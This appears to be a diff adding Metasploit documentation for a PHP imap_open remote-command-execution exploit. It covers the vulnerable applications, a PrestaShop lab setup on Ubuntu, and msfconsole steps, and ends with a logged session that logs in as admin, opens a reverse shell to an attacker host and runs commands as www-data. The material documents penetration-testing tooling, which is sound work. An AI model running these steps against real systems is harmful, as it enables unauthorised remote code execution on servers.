php_imap_open_rce

2018-11-18 21:28:19 -05:00
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+## Vulnerable Application
+
+  The [imap_open](http://php.net/manual/en/function.imap-open.php) function within php,
+  if called without the `/norsh` flag, will attempt to preauthenticate an IMAP session.
+  On Debian based systems, including Ubuntu, `rsh` is mapped to the ssh binary. Ssh's 
+  `ProxyCommand` option can be passed from `imap_open` to execute arbitrary commands.
+  While many custom applications may use `imap_open`, it is reported that the following
+  applications are vulnerable: 
+
+* instantcms
+* HostCMS
+* e107_2
+* prestashop
+* SuiteCRM
+* SugarCRM
+
+  Prestashop exploitation requires the admin URI, and administrator credentials.
+
+### Prestashop on Ubuntu 16.04
+
+Mostly derived from [websiteforstudents.com](https://websiteforstudents.com/install-prestashop-on-ubuntu-17-04-17-10-with-apache2-mariadb-and-php/),
+with a few tweeks for Ubuntu 16.04, and to install PHP's imap mod.
+
+```
+sudo apt install apache2
+sudo sed -i "s/Options Indexes FollowSymLinks/Options FollowSymLinks/" /etc/apache2/apache2.conf
+sudo systemctl stop apache2.service
+sudo systemctl start apache2.service
+sudo systemctl enable apache2.service
+sudo apt-get install mariadb-server mariadb-client
+sudo systemctl stop mysql.service
+sudo systemctl start mysql.service
+sudo systemctl enable mysql.service
+sudo mysql_secure_installation
+sudo systemctl restart mysql.service
+sudo apt install php libapache2-mod-php php-common php-mbstring php-xmlrpc php-soap php-gd php-xml php-intl php-mysql php-cli php-mcrypt php-ldap php-zip php-curl php-imap
+sudo phpenmod imap
+sudo mysql -u root -p
+```
+
+```
+CREATE USER 'prestashopuser'@'localhost' IDENTIFIED BY 'new_password_here';
+GRANT ALL ON prestashop.* TO 'prestashopuser'@'localhost' IDENTIFIED BY 'user_password_here' WITH GRANT OPTION;
+FLUSH PRIVILEGES;
+EXIT;
+```
+
+```
+cd /tmp && curl -O https://download.prestashop.com/download/releases/prestashop_1.7.2.4.zip
+unzip prestashop_1.7.2.4.zip
+sudo mkdir -p /var/www/html/prestashop
+sudo unzip prestashop.zip -d /var/www/html/prestashop/
+sudo chown -R www-data:www-data /var/www/html/prestashop/
+sudo chmod -R 755 /var/www/html/prestashop/
+sudo nano /etc/apache2/sites-available/prestashop.conf
+```
+
+Utilize the following configuration:
+```
+<VirtualHost *:80>
+     ServerAdmin admin@example.com
+     DocumentRoot /var/www/html/prestashop/
+     ServerName example.com
+     ServerAlias www.example.com
+
+     <Directory /var/www/html/prestashop/>
+        Options +FollowSymlinks
+        AllowOverride All
+        Require all granted
+     </Directory>
+
+     ErrorLog ${APACHE_LOG_DIR}/error.log
+     CustomLog ${APACHE_LOG_DIR}/access.log combined
+
+</VirtualHost>
+```
+
+```
+sudo a2ensite prestashop.conf
+sudo a2enmod rewrite
+sudo a2dissite 000-default
+sudo systemctl restart apache2.service
+```
+
+Browse to the website, and install with default information.
+
+```
+sudo rm -rf /var/www/html/prestashop/install/
+```
+
+Now browse to `/admin`, and the first time you'll be redirected to the admin URI.  If not, `sudo ls /var/www/html/prestashop/admin*`.
+
+## Verification Steps
+
+  1. Install a vulnerable application
+  2. Start msfconsole
+  3. Do: ```use exploit/linux/http/php_imap_open_rce```
+  4. Do: ```set TARGETURI [URI]```
+  5. Do: ```set USERNAME [username]```
+  6. Do: ```set PASSWORD [password]```
+  7. Do: ```set target [target]```
+  8. Do: ```run```
+  9. You should get a shell.
+
+## Options
+
+  **TARGETURI**
+
+  The URI for the target.  This may change by target.  Default is ``.
+  Prestashop should be the admin URI, similar to `/admin2769gx8k3`.
+
+## Scenarios
+
+### PrestaShop 1.7.2.4 on Ubuntu 16.04.4 with PHP 7.0
+
+  ```
+  resource (presta.rb)> use exploit/linux/http/php_imap_open_rce
+  resource (presta.rb)> set TARGETURI /admin2769gx8k3
+  TARGETURI => /admin2769gx8k3
+  resource (presta.rb)> set USERNAME ubuntu@none.com
+  USERNAME => ubuntu@none.com
+  resource (presta.rb)> set PASSWORD ubuntuubuntu
+  PASSWORD => ubuntuubuntu
+  resource (presta.rb)> set rhosts 192.168.2.139
+  rhosts => 192.168.2.139
+  resource (presta.rb)> set verbose true
+  verbose => true
+  resource (presta.rb)> exploit
+  [*] Started reverse TCP double handler on 192.168.2.117:4444 
+  [*] Redirected to http://192.168.2.139/admin2769gx8k3/
+  [*] Redirected to http://192.168.2.139/admin2769gx8k3/index.php?controller=AdminLogin&token=6dab1f7b4eea17d2b44a8929ead9df68
+  [*] Token: 6dab1f7b4eea17d2b44a8929ead9df68 and Login Redirect: http://192.168.2.139/admin2769gx8k3/&token=09283f9efc45fc75eca3b8d5f1b1f92f
+  [*] Logging in with ubuntu@none.com:ubuntuubuntu
+  [*] Login JSON Response: {"hasErrors":false,"redirect":"http:\/\/192.168.2.139\/admin2769gx8k3\/index.php?controller=AdminDashboard&token=e324e8b387afb1874947db9b1ba411c8"}
+  [+] Login Success, loading admin dashboard to pull tokens
+  [*] Customer Threads Token: ec653c8bfc09754fc63aaa94101911dc
+  [+] Sending Payload with Final Token: ec653c8bfc09754fc63aaa94101911dc
+  [*] Accepted the first client connection...
+  [*] Accepted the second client connection...
+  [*] Command: echo ivxULEW4eweTiis7;
+  [*] Writing to socket A
+  [*] Writing to socket B
+  [*] Reading from sockets...
+  [*] Reading from socket A
+  [*] A: "ivxULEW4eweTiis7\r\n"
+  [*] Matching...
+  [*] B is input...
+  [*] Command shell session 1 opened (192.168.2.117:4444 -> 192.168.2.139:41746) at 2018-11-18 21:08:50 -0500
+  
+  uname -a
+  Linux ubuntu1604 4.4.0-138-generic #164-Ubuntu SMP Tue Oct 2 17:16:02 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
+  whoami
+  www-data
+  id
+  uid=33(www-data) gid=33(www-data) groups=33(www-data)
+  ```